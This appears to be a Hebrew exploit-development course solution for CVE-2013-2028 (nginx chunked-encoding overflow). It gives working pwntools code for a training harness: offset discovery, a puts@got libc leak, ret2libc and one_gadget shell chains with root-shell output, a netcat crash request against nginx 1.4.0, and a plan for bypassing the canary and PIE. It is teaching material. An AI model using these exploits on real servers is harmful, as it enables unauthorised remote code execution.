לדלג לתוכן

10.5 כתיבת exploit ל CVE אמיתי פתרון

פתרון - כתיבת exploit ל-CVE אמיתי

נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא בסוף. הכתובות בפלט הן דוגמה - אצלכם הן ישתנו בכל הרצה בגלל ASLR, וזה בדיוק העניין. לעולם אל תעתיקו כתובת libc קבועה לסקריפט; תמיד חשבו אותה מהleak.

פתרון תרגיל 1 - לקרוא את החולשה ולנסח את הפרימיטיב

מ-NVD: החולשה CVE-2013-2028 היא overflow buffer על המחסנית ב-nginx 1.3.9 עד 1.4.0, דרך בקשת HTTP עם קידוד chunked וגודל chunk זדוני.

המסע של size ב-harness, כשהקלט הוא "ffffffff":

parse_chunk_size("ffffffff"):
   accumulates digit by digit up to 0xffffffff
   the value is stored in an int -> the bit pattern 0xffffffff as a signed int = -1
   returns -1

discard_body:
   size = -1
   the check:  if (size > (int)sizeof(buf))  ->  if (-1 > 256)  ->  false!
   -> size is not clamped, stays -1
   read(0, buf, size)  ->  size_t(-1) = 0xffffffffffffffff
   -> read reads as many bytes as we send, straight into buf[256] -> overflow

ניסוח הפרימיטיב במשפט אחד: כתיבה רציפה של בתים בשליטתנו מתחילת buf והלאה, באורך בשליטתנו, שכוללת את saved rbp ואת הreturn address - כלומר שליטה מלאה ב-RIP. זהו בדיוק הפרימיטיב של פרק 2, רק שהדרך אליו עוברת דרך שגיאת סימן.

פתרון תרגיל 2 - שחזור הקריסה ומציאת ה-offset

מפעילים את הoverflow ומוצאים את ה-offset עם cyclic:

from pwn import *
context.binary = elf = ELF('./chunkserver')

p = remote('127.0.0.1', 1337)
p.recvuntil(b'chunk> ')
p.send(b'ffffffff\n')          # negative size -> bypasses the check
p.send(cyclic(400))
p.wait()                        # the worker crashes

כדי לקרוא את הערך שנחת ב-RIP, מריצים את הבינארי מקומית תחת gdb ומזינים את אותו קלט:

pwndbg> r
chunk> (enter: ffffffff\n then cyclic(400))
Program received signal SIGSEGV
pwndbg> x/wx $rsp
0x7fffffffe0a8: 0x6161616e

ומחשבים:

>>> cyclic_find(0x6161616e)
280

ה-offset הוא 280 (buffer 256, padding alignment, saved rbp של 8). אימות שליטה מלאה ב-RIP:

p.send(b'ffffffff\n')
p.send(flat({280: p64(0xdeadbeefcafebabe)}))
# under gdb: RIP = 0xdeadbeefcafebabe -> full control

בדיקת ההגנות:

$ checksec ./chunkserver
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

מה שמקל: בלי canary (הoverflow מגיעה לreturn address בלי להיתפס) ובלי PIE (כתובות הבינארי קבועות). מה שחסר בגללי כיבוי: NX פעיל, אז אי אפשר shellcode על המחסנית - חייבים ROP. ASLR דלוק, אז לא יודעים את כתובת libc מראש - חייבים leak.

פתרון תרגיל 3 - leak libc וחישוב הבסיס

מוצאים את הכתובות ובונים את chain הleak:

>>> hex(elf.plt['puts']), hex(elf.got['puts']), hex(elf.symbols['main'])
('0x401060', '0x404028', '0x4011a5')
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])   # puts(&puts@got) -> leaks a real libc address
rop.call('main')                       # return to the loop for a second round
log.info('\n' + rop.dump())

p.recvuntil(b'chunk> ')
p.send(b'ffffffff\n')
p.send(flat({280: rop.chain()}))

leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success('puts @ %#x', leaked)

libc = ELF('./libc.so.6')
libc.address = leaked - libc.symbols['puts']
log.success('libc base @ %#x', libc.address)
assert libc.address & 0xfff == 0

פלט לדוגמה:

[*] 0x0000:  0x40128b pop rdi; ret
    0x0008:  0x404028 [arg0] rdi = got.puts
    0x0010:  0x401060 puts
    0x0018:  0x4011a5 main
[+] puts @ 0x7f5b3c0a8e50
[+] libc base @ 0x7f5b3c028000

ה-assert עובר כי הבסיס נגמר ב-000. אם היה נגמר במשהו אחר - ה-libc אינו הגרסה של המטרה. כאן משכנו את ה-libc ישירות מהקונטיינר עם docker cp, אז הוא תואם. אילו עבדתם מול שרת שלא ידוע לכם ה-libc שלו, הייתם מזהים את הגרסה מ-12 הביטים התחתונים של הleak עם libc.rip או libc-database, בדיוק כמו ב-4.4.

למה זה עבד: puts(&puts@got) הדפיסה את שמונת הבתים שיושבים בכניסת ה-GOT של puts, שהם הכתובת האמיתית של puts בזמן ריצה. נקודה עדינה: ה-harness לא קורא ל-puts לפני הleak, אז בקישור עצל הכניסה עוד לא פתורה. אבל הקריאה שלנו ל-puts@plt עצמה מפעילה את ה-resolver, שכותב את הכתובת האמיתית לתוך puts@got לפני ש-puts קוראת את הפוינטר שהעברנו לה - אז מה שמודפס הוא כבר הכתובת האמיתית. החזרה ל-main הפעילה מחדש את הלולאה, ולכן קיבלנו סיבוב שני לתקיפה.

פתרון תרגיל 4 - קבלת shell עם ret2libc

מוסיפים את שלב 2, ret2libc בכתובות המחושבות:

rop2 = ROP(libc)
binsh = next(libc.search(b'/bin/sh\x00'))      # the string exists inside libc
rop2.raw(rop2.find_gadget(['ret'])[0])         # 16-byte alignment (movaps)
rop2.call(libc.symbols['system'], [binsh])

p.recvuntil(b'chunk> ')                        # the loop prints the prompt again
p.send(b'ffffffff\n')
p.send(flat({280: rop2.chain()}))
p.interactive()

הפלט, ואז shell:

[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ ls
chunkserver

אם היינו שוכחים את גאדג'ט ה-ret הראשון, היינו רואים קריסה כזו ב-gdb:

Program received signal SIGSEGV
=> 0x7f5b3c078db1 <do_system+915>: movaps XMMWORD PTR [rsp+0x50], xmm0

זה החתום המובהק של בעיית alignment. גאדג'ט ה-ret הבודד מזיז את rsp ב-8 ומיישר אותו ל-16 בתים.

למה זה עבד: אחרי ששלב 1 החזיר אותנו ל-main, הלולאה קראה שוב ל-discard_body, וקיבלנו overflow שנייה. הפעם rdi הצביע על /bin/sh בכתובת המחושבת, ו-system רצה בכתובת המחושבת. איך להכליל: זה ret2libc רגיל, רק שכל הכתובות באות מ-libc.address שגילינו בleak, לא קבועות.

פתרון תרגיל 5 - גרסת one_gadget

מריצים one_gadget על ה-libc של המטרה:

$ one_gadget ./libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

בוחרים את 0x4f322 כי האילוץ שלו, [rsp+0x40] == NULL, בשליטתנו - מרפדים אפסים אחרי כתובת הגאדג'ט. שלב 2 הופך לקפיצה בודדת:

og = libc.address + 0x4f322
p.recvuntil(b'chunk> ')
p.send(b'ffffffff\n')
p.send(flat({280: [og, 0, 0, 0, 0, 0, 0, 0, 0]}))   # zeros -> [rsp+0x40]==NULL
p.interactive()

תשע ה-0 שאחרי og דואגות שהזיכרון מ-rsp והלאה יהיה אפס, כולל rsp+0x40. אם היינו שולחים רק את הגאדג'ט בלי הpadding, rsp+0x40 היה מצביע על זבל, ה-argv של execve היה לא חוקי, וה-shell לא היה נפתח.

אם 0x4f322 לא היה עובד (למשל בגלל שאילוץ הalignment לא מתקיים), עוברים ל-0x10a38c שדורש [rsp+0x70] == NULL (מרפדים יותר אפסים), או נופלים חזרה לchain ה-system המלאה מתרגיל 4 שהיא האמינה ביותר.

למה זה עבד: one_gadget מריץ execve("/bin/sh", 0, 0) בקפיצה אחת, בלי לבנות ארגומנטים - כל עוד האילוץ שלו מתקיים ברגע הקפיצה. איך להכליל: קודם מנסים one_gadget (קצר), ואם אף מועמד לא מסתדר - ret2libc מלא (בטוח).

פתרון תרגיל 6 (בונוס) - שחזור על nginx האמיתי ו-porting

שחזור הקריסה על nginx 1.4.0 בקונטיינר:

docker build -f Dockerfile.nginx -t nginx-vuln .
docker run -d --name nginx-vuln -p 8080:80 nginx-vuln
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\nffffffffffffffff\r\n' \
    | nc 127.0.0.1 8080
docker exec nginx-vuln cat /usr/local/nginx/logs/error.log | grep -i signal

בלוג נראה שורה על worker process שיצא עם signal 11 (SIGSEGV) - הקריסה שוחזרה על היעד האמיתי.

בדיקת ההגנות של nginx לעומת ה-harness:

$ checksec /usr/local/nginx/sbin/nginx
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RELRO:    Full RELRO

ההבדל מה-harness: nginx נבנה עם canary ועם PIE (ולרוב Full RELRO). לכן ה-exploit הפשוט שלנו לא יעבוד כמו שהוא.

מפת הדרך ל-exploit מלא על nginx (תכנון בלבד):

1. Leaking the canary  -> the same overflow reads/returns bytes; we leak the canary
                  and write it back in place, so we don't get caught.
2. Leaking the PIE base -> leak some code address (a frame's saved return address)
                     -> compute the binary base -> PLT/GOT addresses known.
3. Leaking libc  -> like we did: puts(&puts@got) -> libc base.
4. Attack        -> ret2libc or one_gadget at the computed addresses -> shell.

למה ה-worker המתמשך עוזר: worker של nginx חי לאורך זמן ומשרת בקשות רבות על אותו מרחב כתובות. הcanary, בסיס ה-PIE ובסיס ה-libc יציבים כל עוד ה-worker חי, אז leak אחת בבקשה אחת תקפה לכל הבקשות שאחריה. זה בדיוק מה שניצלנו ב-harness עם הלולאה: דלפנו בסיבוב אחד ותקפנו בבא. יתרה מזו, אם ה-worker קורס הוא מופעל מחדש, מה שבמקרים מסוימים מאפשר brute-force על בייט בודד של כתובת עד נחיתה מוצלחת.

מה חוזר מהתרגול הזה: מסלול ה-n-day המלא הוא שרשרת של שכבות. הפרימיטיב הבסיסי - שליטה ב-RIP דרך overflow buffer - זהה בין ה-harness ל-nginx האמיתי. כל הגנה נוספת (canary, PIE) מוסיפה שלב leak, אבל לא משנה את הליבה. ברגע שאתם יודעים לנסח פרימיטיב, לבודד אותו ל-harness, ולחבר cyclic + leak + ROP/one_gadget - יש לכם את התבנית שעובדת מול כל CVE של השחתת זיכרון.